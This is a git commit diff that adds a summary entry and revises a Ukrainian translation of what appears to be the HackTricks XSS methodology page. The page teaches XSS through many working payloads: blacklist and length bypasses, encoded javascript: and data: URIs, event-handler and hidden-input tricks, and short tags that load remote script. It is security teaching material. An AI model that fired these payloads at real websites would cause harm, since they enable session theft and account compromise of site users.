Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem

This commit is contained in:
Translator 2025-09-29 15:00:48 +00:00
parent 4a2a766ee2
commit 065610b6b3
3 changed files with 351 additions and 208 deletions

View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

View File

@ -4,32 +4,32 @@
## Методологія
1. Перевірте, чи будь-яке **значення, яке ви контролюєте** (_parameters_, _path_, _headers_?, _cookies_?) **відображається** в HTML або **використовується** кодом **JS**.
2. **З'ясуйте контекст**, де воно відображається/використовується.
3. Якщо **відображено**
1. Перевірте **які символи можна використовувати** і залежно від цього підготуйте payload:
1. Перевірте, чи **будь-яке значення, яке ви контролюєте** (_parameters_, _path_, _headers_?, _cookies_?) **відображається** в HTML або **використовується** в коді **JS**.
2. **Знайдіть контекст**, де воно відображається/використовується.
3. Якщо **заперечено (reflected)**
1. Перевірте, **які символи ви можете використовувати**, і залежно від цього підготуйте payload:
1. У **raw HTML**:
1. Чи можете ви створити нові HTML теги?
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
3. Чи можете обійти захист?
4. Чи інтерпретується HTML-контент якимось client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), тоді ви можете використати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML-теги, які виконують JS-код, чи можна скористатися [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Всередині **HTML тега**:
1. Чи можете ви вийти в контекст raw HTML?
2. Чи можете створити нові події/атрибути для виконання JS-коду?
3. Чи підтримує атрибут, в якому ви «застрягли», виконання JS?
4. Чи можете обійти захист?
2. Чи можете ви використовувати events або attributes, що підтримують `javascript:` протокол?
3. Чи можете ви обходити захисти?
4. Чи інтерпретується HTML контент якимось клієнтським JS рушієм (_AngularJS_, _VueJS_, _Mavo_...), який ви могли б використати у [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML теги, що виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Всередині **HTML tag**:
1. Чи можете ви вийти в raw HTML контекст?
2. Чи можете ви створити нові events/attributes для виконання JS коду?
3. Чи атрибут, в якому ви «застрягли», підтримує виконання JS?
4. Чи можете ви обходити захисти?
3. Всередині **JavaScript коду**:
1. Чи можете ви вийти з тега `<script>`?
2. Чи можете вийти з рядка і виконати інший JS-код?
3. Чи ваші дані потрапляють у template literals `\`\``?
4. Чи можете обійти захист?
4. Javascript **function**, що **виконується**
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
1. Чи можете ви втекти з `<script>` тегу?
2. Чи можете ви втекти зі строки і виконати інший JS код?
3. Чи ваш ввід знаходиться в template literals \`\`?
4. Чи можете ви обходити захисти?
4. JS **функція**, яка **виконується**
1. Ви можете вказати ім'я функції для виконання. Наприклад: `?callback=alert(1)`
4. Якщо **використовується**:
1. Ви можете експлуатувати **DOM XSS**, зверніть увагу на те, як контролюється ваш input і чи ваш **контрольований input використовується якимось sink.**
1. Ви можете експлуатувати **DOM XSS**, зверніть увагу, як контролюється ваш ввід і чи ваш **контрольований ввід використовується якимось sink.**
When working on a complex XSS you might find interesting to know about:
Під час роботи зі складним XSS може бути корисно знати про:
{{#ref}}
@ -38,31 +38,31 @@ debugging-client-side-js.md
## Reflected values
Щоб успішно експлуатувати XSS, перш за все потрібно знайти **значення, яким ви керуєте і яке відображається** на веб-сторінці.
Щоб успішно експлуатувати XSS, перше, що потрібно знайти — це **значення, яке ви контролюєте і яке відображається** на веб-сторінці.
- **Intermediately reflected**: Якщо ви виявили, що значення параметра або навіть path відображається на веб-сторінці, ви можете експлуатувати **Reflected XSS**.
- **Stored and reflected**: Якщо значення, яким ви керуєте, зберігається на сервері і відображається щоразу при доступі до сторінки, ви можете експлуатувати **Stored XSS**.
- **Accessed via JS**: Якщо ви виявите, що значення, яким ви керуєте, доступне через JS, ви можете експлуатувати **DOM XSS**.
- **Intermediately reflected**: Якщо ви бачите, що значення параметра або навіть шляху відображається на сторінці, ви можете експлуатувати **Reflected XSS**.
- **Stored and reflected**: Якщо значення, яке ви контролюєте, зберігається на сервері і відображається щоразу при доступі до сторінки, ви можете експлуатувати **Stored XSS**.
- **Accessed via JS**: Якщо значення, яке ви контролюєте, доступне через JS, ви можете експлуатувати **DOM XSS**.
## Контексти
Під час спроби експлуатації XSS перше, що потрібно знати — **де відображається ваш input**. Залежно від контексту, ви зможете виконати довільний JS-код різними способами.
Коли ви намагаєтесь експлуатувати XSS, перше, що потрібно знати — **де саме відображається ваш ввід**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
### Raw HTML
Якщо ваш input **відображається у raw HTML** сторінці, вам потрібно зловживати якимось **HTML tag**, щоб виконати JS-код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви можете використати.\
Також майте на увазі [Client Side Template Injection](../client-side-template-injection-csti.md).
Якщо ваш ввід **відображається в raw HTML** сторінці, вам потрібно зловживати якимось **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви можете використати.\
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
### Inside HTML tags attribute
### Всередині атрибутів HTML тегів
Якщо ваш input відображається всередині значення атрибута тега, ви можете спробувати:
Якщо ваш ввід відображається всередині значення атрибуту тега, ви можете спробувати:
1. **Втекти з атрибута та з тега** (тоді ви опинитесь у raw HTML) і створити новий HTML тег для зловживання: `"><img [...]`
2. Якщо ви **можете втекти з атрибута але не з тега** (`>` закодовано або видалено), залежно від тега ви можете **створити event**, який виконає JS-код: `" autofocus onfocus=alert(1) x="`
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається — **чи ви контролюєте весь його вміст або лише частину** — ви зможете ним зловживати. Наприклад, якщо ви контролюєте подію типу `onclick=` ви зможете змусити її виконувати довільний код при кліку. Інший цікавий приклад — атрибут `href`, де ви можете використати протокол `javascript:` щоб виконати довільний код: **`href="javascript:alert(1)"`**
4. Якщо ваш input відображається всередині "**unexpoitable tags**" ви можете спробувати трюк з **`accesskey`** щоб зловживати вразливістю (вам знадобиться певний соціальний інженеринг для експлуатації): **`" accesskey="x" onclick="alert(1)" x="`**
1. **Втекти з атрибуту і з тега** (тоді ви опинитеся в raw HTML) і створити новий HTML тег для зловживання: `"><img [...]`
2. Якщо ви **можете втекти з атрибуту, але не з тега** (`>` кодується або видаляється), залежно від тега ви можете **створити event**, що виконає JS код: `" autofocus onfocus=alert(1) x="`
3. Якщо ви **не можете втекти з атрибуту** (`"` кодується або видаляється), то в залежності від **якого атрибута** ваш ввід відображається і **чи ви контролюєте все значення або лише його частину**, ви зможете зловживати ним. Наприклад, якщо ви контролюєте event типу `onclick=` ви зможете виконати довільний код при кліку. Інший цікавий приклад — атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
4. Якщо ваш ввід відображається всередині «невразливих» тегів, ви можете спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться певний рівень соціальної інженерії для експлуатації): **`" accesskey="x" onclick="alert(1)" x="`**
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
Дивний приклад виконання XSS в Angular, якщо ви контролюєте назву класу:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -70,15 +70,15 @@ debugging-client-side-js.md
```
### У JavaScript-коді
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині файлу `.js` або в атрибуті з використанням протоколу **`javascript:`**:
У цьому випадку ваш ввод відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або в атрибуті з протоколом **`javascript:`**:
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться в будь-яких лапках, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює тому, що **браузер спочатку розпарсить HTML-теги**, а потім вміст, тому він не помітить, що ваш інжектований `</script>` тег знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS-рядка** і попередній трюк не працює, вам потрібно **вийти** з рядка, **виконати** ваш код і **відновити** JS-код (якщо буде помилка, він не виконається):
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввод знаходиться в яких-небудь лапках, ви можете спробувати інжектити `</script>` і вийти з цього контексту. Це працює тому, що **браузер спочатку розпарсить HTML-теги**, а потім контент, тому він не помітить, що ваш інжектований `</script>` тег знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS string** і попередній трюк не працює, вам потрібно **вийти** з рядка, **виконати** свій код і **відновити** JS-код (якщо буде помилка, він не виконається:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Якщо відображається всередині template literals, ви можете **вбудувати JS-вирази** використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** працює для написання **valid javascript code**:
- Якщо відображається всередині template literals, ви можете **вбудовувати JS expressions** використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** працює для запису **валідного javascript коду**:
```javascript
alert(1)
alert(1)
@ -86,7 +86,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting позначає можливість **оголосити функції, змінні або класи після їх використання, щоб можна було зловживати сценаріями, де XSS використовує неоголошені змінні або функції.**\
Javascript Hoisting означає можливість **оголосити функції, змінні або класи після їх використання, що дозволяє зловживати сценаріями, де XSS використовує необ'явлені змінні чи функції.**\
**Перегляньте наступну сторінку для детальнішої інформації:**
@ -96,15 +96,15 @@ js-hoisting.md
### Javascript Function
Декілька веб-сторінок мають endpoints, які **приймають як параметр ім'я функції для виконання**. Поширений приклад у реальному житті: `?callback=callbackFunc`.
Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
Добрий спосіб з'ясувати, чи те, що передається прямо користувачем, намагається виконуватися — це **змінити значення параметра** (наприклад на 'Vulnerable') і подивитися в консолі на помилки типу:
Хороший спосіб дізнатися, чи те, що передається безпосередньо юзером, намагаються виконати — **змінити значення параметра** (наприклад на 'Vulnerable') і подивитись у консолі на помилки типу:
![](<../../images/image (711).png>)
Якщо воно вразливе, ви можете бути в змозі **запустити alert**, просто відправивши значення: **`?callback=alert(1)`**. Однак дуже часто такі endpoints будуть **валідовувати вміст**, дозволяючи лише букви, цифри, крапки та підкреслення (**`[\w\._]`**).
Якщо воно вразливе, можна буде **спровокувати alert**, просто відправивши значення: **`?callback=alert(1)`**. Однак дуже часто такі endpoints **перевіряють вміст**, дозволяючи лише літери, цифри, крапки та підкреслення (**`[\w\._]`**).
Однак навіть з цим обмеженням все ж можна виконати деякі дії. Це тому, що можна використовувати ці допустимі символи, щоб **отримати доступ до будь-якого елементу в DOM**:
Навіть з цим обмеженням все ще можна виконати деякі дії. Це тому, що допустимі символи дозволяють **доступитися до будь-якого елемента в DOM**:
![](<../../images/image (747).png>)
@ -116,11 +116,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Ви також можете спробувати безпосередньо **trigger Javascript functions**: `obj.sales.delOrders`.
Ви також можете спробувати **запустити Javascript функції** безпосередньо: `obj.sales.delOrders`.
Однак зазвичай endpoints, що виконують вказану функцію, не містять цікавого DOM; **інші сторінки в тому ж origin** матимуть **цікавіший DOM** для виконання додаткових дій.
Однак зазвичай ендпоїнти, що виконують вказану функцію, мають мало цікавого в DOM; **інші сторінки в тому ж same origin** матимуть **цікавіший DOM** для виконання більшої кількості дій.
Тому для **зловживання цією вразливістю в іншому DOM** було розроблено експлуатацію **Same Origin Method Execution (SOME)**:
Тому, щоб **експлуатувати цю вразливість в іншому DOM**, було розроблено метод експлуатації **Same Origin Method Execution (SOME)**:
{{#ref}}
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
Існує **JS code**, який **неналежним чином** використовує деякі **дані, контрольовані зловмисником**, наприклад `location.href`. Зловмисник може зловживати цим для виконання довільного JS-коду.
Є **JS code**, який ненадійно використовує деякі **дані, контрольовані атакуючим**, наприклад `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код.
{{#ref}}
@ -138,8 +138,8 @@ dom-xss.md
### **Universal XSS**
Такі XSS можуть бути знайдені **скрізь**. Вони залежать не лише від клієнтської експлуатації веб-застосунку, а від **будь-якого** **контексту**. Такі випадки **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та іншого.\
Деякі **приклади**:
Цей тип XSS може бути знайдений **будь-де**. Вони не залежать лише від клієнтської експлуатації вебдодатку, а від **будь-якого** **контексту**. Ці випадки **виконання довільного JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та іншого.\
Декілька **прикладів**:
{{#ref}}
@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
Коли ваш ввід відображається **inside the HTML page** або ви можете вийти з контексту та інжектити HTML-код у цьому контексті, **перше**, що потрібно зробити — перевірити, чи можна зловживати символом `<`, щоб створити нові теги: просто спробуйте **reflect** цей **char** і перевірте, чи він **HTML encoded**, **deleted** або відображається **без змін**. **Тільки в останньому випадку ви зможете експлуатувати це**.\
Для таких випадків також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Примітка: HTML-коментар можна закрити, використавши\*\***\***\*`-->`\*\***\***\*або \*\***`--!>`\*\*_
Коли ваш ввод відображається **всередині HTML-сторінки** або ви можете вийти з контексту і інжектити HTML-код у цьому контексті, **перше**, що потрібно зробити — перевірити, чи можна зловживати символом `<` для створення нових тегів: просто спробуйте **відобразити** цей **символ** і перевірити, чи він **HTML-кодується**, **видаляється**, чи **відображається без змін**. **Лише в останньому випадку ви зможете скористатися цією вразливістю**.\
У таких випадках також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Примітка: HTML-коментар можна закрити, використавши**`-->`** або **`--!>`**_
У такому випадку, якщо не використовується чорний/білий список, ви можете використовувати такі payloads:
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
```html
<script>
alert(1)
@ -169,22 +169,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Але якщо використовується black/whitelisting тегів/атрибутів, вам потрібно буде **brute-force which tags** ви можете створювати.\
Коли ви **located which tags are allowed**, потрібно буде **brute-force attributes/events** всередині знайдених валідних тегів, щоб побачити, як можна атакувати контекст.
Але якщо використовується black/whitelisting тегів/атрибутів, вам доведеться **brute-force** які теги ви можете створити.\
Після того як ви **з'ясуєте, які теги дозволені**, вам потрібно буде **brute-force атрибути/події** всередині знайдених допустимих тегів, щоб побачити, як можна атакувати контекст.
### Tags/Events brute-force
### Brute-force тегів/подій
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть _**Copy tags to clipboard**_. Потім відправте їх усі за допомогою Burp intruder і перевірте, чи якийсь тег не був визначений WAF як шкідливий. Після того, як ви виявите, які теги можна використовувати, ви можете **brute force all the events** з використанням валідних тегів (на тій же сторінці натисніть _**Copy events to clipboard**_ і повторіть ту ж процедуру).
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) та натисніть _**Copy tags to clipboard**_. Потім відправте їх усі через Burp intruder і перевірте, чи якийсь тег не був визнаний шкідливим WAF. Після того як ви виявите, які теги можете використовувати, ви можете **brute force всі події**, використовуючи допустимі теги (на тій же сторінці натисніть _**Copy events to clipboard**_ і виконайте ту ж процедуру, що й раніше).
### Custom tags
### Користувацькі теги
Якщо ви не знайшли жодного валідного HTML тегу, можна спробувати **create a custom tag** і виконати JS код за допомогою атрибуту `onfocus`. У XSS-запиті потрібно завершити URL символом `#`, щоб сторінка **focus on that object** і **execute** код:
Якщо ви не знайшли жодного валідного HTML-тегу, можна спробувати **створити власний тег** і виконати JS-код за допомогою атрибута `onfocus`. У XSS-запиті потрібно завершити URL символом `#`, щоб сторінка **фокусувалася на цьому об'єкті** і **виконала** код:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Обходи Blacklist
### Blacklist Bypasses
Якщо використовується якась blacklist, ви можете спробувати обійти її за допомогою кількох простих трюків:
Якщо використовується якийсь blacklist, ви можете спробувати bypass за допомогою деяких простих трюків:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -234,36 +234,36 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Length bypass (small XSSs)
### Обхід обмеження довжини (small XSSs)
> [!NOTE] > **Більше tiny XSS для різних середовищ** payload [**можна знайти тут**](https://github.com/terjanq/Tiny-XSS-Payloads) та [**тут**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
The last one is using 2 unicode characters which expands to 5: telsr\
The last one is using 2 Unicode characters which expands to 5: telsr\
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
Щоб перевірити, у які символи вони розкладаються, див. [тут](https://www.compart.com/en/unicode/U+2121).
Щоб перевірити, на які символи вони розкладаються, див. [тут](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Якщо для експлуатації вразливості вам потрібно, щоб **користувач натиснув на посилання або форму** з попередньо заповненими даними, ви можете спробувати [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (якщо сторінка вразлива).
Якщо для експлуатації вразливості вам потрібно, щоб **користувач натиснув на посилання або форму** з попередньо заповненими даними, ви можете спробувати [**зловживати Clickjacking**](../clickjacking.md#xss-clickjacking) (якщо сторінка вразлива).
### Impossible - Dangling Markup
Якщо ви просто думаєте, що **неможливо створити HTML тег з атрибутом для виконання JS коду**, вам слід перевірити [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) бо ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом, який виконує JS-код**, вам слід перевірити [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html), оскільки ви могли б **експлуатувати** вразливість **без** виконання **JS** коду.
## Вставлення всередину HTML тега
## Injecting inside HTML tag
### Всередині тега/вихід зі значення атрибуту
### Inside the tag/escaping from attribute value
Якщо ви перебуваєте **всередині HTML тега**, перше, що варто спробувати — це **втекти** з тега і скористатися деякими техніками, згаданими в [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS код.\
Якщо ви **не можете вийти з тега**, ви можете створити нові атрибути всередині тега, щоб спробувати виконати JS код, наприклад, використавши payload на зразок (_зверніть увагу, що в цьому прикладі для виходу з атрибуту використовуються подвійні лапки; вони не знадобляться, якщо ваш input відображається безпосередньо всередині тега_):
Якщо ви перебуваєте **всередині HTML-тегу**, перше, що варто спробувати — **вийти** з тега і використати деякі техніки, згадані в [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
Якщо ви **не можете вийти з тега**, можна створити нові атрибути всередині тега, щоб спробувати виконати JS-код, наприклад, використовуючи якийсь payload (зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибуту; вони не знадобляться, якщо ваш input відображається безпосередньо всередині тега):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Події стилю**
**Стильові події**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -275,14 +275,14 @@ The last one is using 2 unicode characters which expands to 5: telsr\
```
### Всередині атрибуту
Навіть якщо ви **не можете вийти з атрибуту** (`"` кодується або видаляється), залежно від того, **в який атрибут** відображається ваше значення і **чи контролюєте ви все значення або лише частину**, ви зможете ним зловживати. For **example**, якщо ви контролюєте подію типу `onclick=` ви зможете змусити її виконати довільний код при натисканні.\
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
Навіть якщо ви **не можете вийти з атрибуту** (`"` кодується або видаляється), залежно від **якого атрибуту** відображається ваше значення — **чи контролюєте ви все значення або лише частину** — ви зможете ним зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при кліку.\
Ще один цікавий **приклад** — атрибут `href`, де можна використати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
**Обхід всередині події за допомогою HTML encoding/URL encode**
**Обхід всередині події за допомогою HTML кодування/URL encode**
Кодовані **HTML encoded characters** всередині значення атрибутів HTML-тегів **декодуються під час виконання**. Тому щось на кшталт наступного буде валідним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Символи, **закодовані в HTML**, всередині значення атрибутів HTML-тегів **декодуються під час виконання**. Тому щось на кшталт наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Зверніть увагу, що **будь-який тип HTML-кодування є валідним**:
Зауважте, що **будь-який тип HTML-кодування є дійсним**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -303,7 +303,7 @@ Another interesting **example** is the attribute `href`, where you can use the `
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Обхід всередині event за допомогою Unicode encode**
**Bypass всередині event за допомогою Unicode encode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -311,7 +311,7 @@ Another interesting **example** is the attribute `href`, where you can use the `
```
### Спеціальні протоколи в атрибуті
Тут ви можете використовувати протоколи **`javascript:`** або **`data:`** в деяких місцях, щоб **виконувати довільний JS code**. Деякі вимагатимуть взаємодії користувача, інші — ні.
Там ви можете використовувати протоколи **`javascript:`** або **`data:`** у деяких місцях, щоб **виконувати довільний JS-код**. Деякі вимагатимуть взаємодії з користувачем, інші — ні.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -331,7 +331,7 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
**Місця, куди можна впровадити ці протоколи**
**Місця, де ви можете інжектити ці протоколи**
**Загалом** протокол `javascript:` може бути **використаний у будь-якому тегу, який приймає атрибут `href`** та в **більшості** тегів, які приймають **атрибут `src`** (але не `<img>`)
```html
@ -355,21 +355,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Інші трюки обфускації**
_**У цьому випадку HTML-кодування і Unicode-кодування з попереднього розділу також застосовні, оскільки ви перебуваєте всередині атрибута.**_
_**У цьому випадку трюк з HTML encoding та Unicode encoding з попереднього розділу також діє, оскільки ви перебуваєте всередині атрибуту.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Крім того, є ще один **приємний трюк** для таких випадків: **Навіть якщо ваше введення всередині `javascript:...` є URL encoded, воно буде URL decoded перед виконанням.** Отже, якщо вам потрібно **вийти** з **рядка**, використовуючи **одинарну лапку** і ви бачите, що **воно URL encoded**, пам'ятайте, що **це не має значення,** воно буде **інтерпретоване** як **одинарна лапка** під час **виконання**.
Крім того, є ще один **гарний трюк** для таких випадків: **Навіть якщо ваш input всередині `javascript:...` URL encoded, він буде URL decoded перед виконанням.** Тож, якщо вам потрібно **escape** зі **string** з використанням **single quote** і ви бачите, що **воно URL encoded**, пам'ятайте, що **це не має значення,** воно буде **interpreted** як **single quote** під час **execution**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Зауважте, що якщо ви спробуєте **використати обидва** `URLencode + HTMLencode` у будь-якому порядку, щоб закодувати **payload**, це **не** **спрацює**, але ви можете **змішувати їх всередині payload**.
Зверніть увагу, що якщо ви спробуєте **використовувати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
**Використання Hex та Octal encode з `javascript:`**
**Використання Hex and Octal encode з `javascript:`**
Ви можете використовувати **Hex** та **Octal encode** всередині атрибута `src` у `iframe` (принаймні), щоб оголосити **HTML tags to execute JS**:
Ви можете використовувати **Hex** і **Octal encode** всередині атрибута `src` елемента `iframe` (принаймні) щоб оголосити **HTML tags to execute JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -385,17 +385,17 @@ _**У цьому випадку HTML-кодування і Unicode-кодува
```javascript
<a target="_blank" rel="opener"
```
Якщо ви можете ін'єктувати будь-який URL у довільний тег **`<a href=`**, який містить атрибути **`target="_blank" and rel="opener"`**, перегляньте **наступну сторінку, щоб експлуатувати цю поведінку**:
Якщо ви можете ввести будь-який URL у довільний тег **`<a href=`**, який містить атрибути **`target="_blank" and rel="opener"`**, перегляньте **наступну сторінку, щоб експлуатувати цю поведінку**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### Обхід "on" обробників подій
### on Event Handlers Bypass
Найперше перевірте цю сторінку ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) для корисних **"on" обробників подій**.\
Якщо існує якийсь blacklist, що перешкоджає створенню таких обробників подій, ви можете спробувати наступні обхідні методи:
По-перше, перевірте цю сторінку ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) для корисних **"on" event handlers**.\
Якщо існує якийсь blacklist, який забороняє вам створювати ці обробники подій, ви можете спробувати наступні обхідні методи:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -410,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS у "Невразливих тегах" (hidden input, link, canonical, meta)
### XSS у "Unexploitable tags" (hidden input, link, canonical, meta)
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можна зловживати hidden inputs за допомогою:**
З [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можна зловживати hidden inputs за допомогою:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
А в **мета-тегах**:
А в **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -431,15 +431,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
З [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Ви можете виконати **XSS payload всередині прихованого атрибуту**, за умови, що зможете **переконати** **victim** натиснути **комбінацію клавіш**. У Firefox на Windows/Linux комбінація клавіш — **ALT+SHIFT+X**, а на OS X — **CTRL+ALT+X**. Ви можете задати іншу комбінацію клавіш, використавши іншу клавішу в access key attribute. Ось вектор:
З [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Ви можете виконати **XSS payload inside a hidden attribute**, за умови, що зможете **переконати** **жертву** натиснути **комбінацію клавіш**. У Firefox Windows/Linux комбінація клавіш — **ALT+SHIFT+X**, а на OS X — **CTRL+ALT+X**. Ви можете вказати іншу комбінацію клавіш, використавши іншу клавішу в access key attribute. Ось вектор:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS payload буде виглядати приблизно так: `" accesskey="x" onclick="alert(1)" x="`**
**XSS payload виглядатиме приблизно так: `" accesskey="x" onclick="alert(1)" x="`**
### Обходи чорних списків
У цьому розділі вже показано кілька трюків із використанням різного кодування. Поверніться, щоб дізнатися, де ви можете їх використовувати:
У цьому розділі вже показано кілька трюків із використанням різного кодування. Поверніться, щоб дізнатися, де можна застосувати:
- **HTML encoding (HTML tags)**
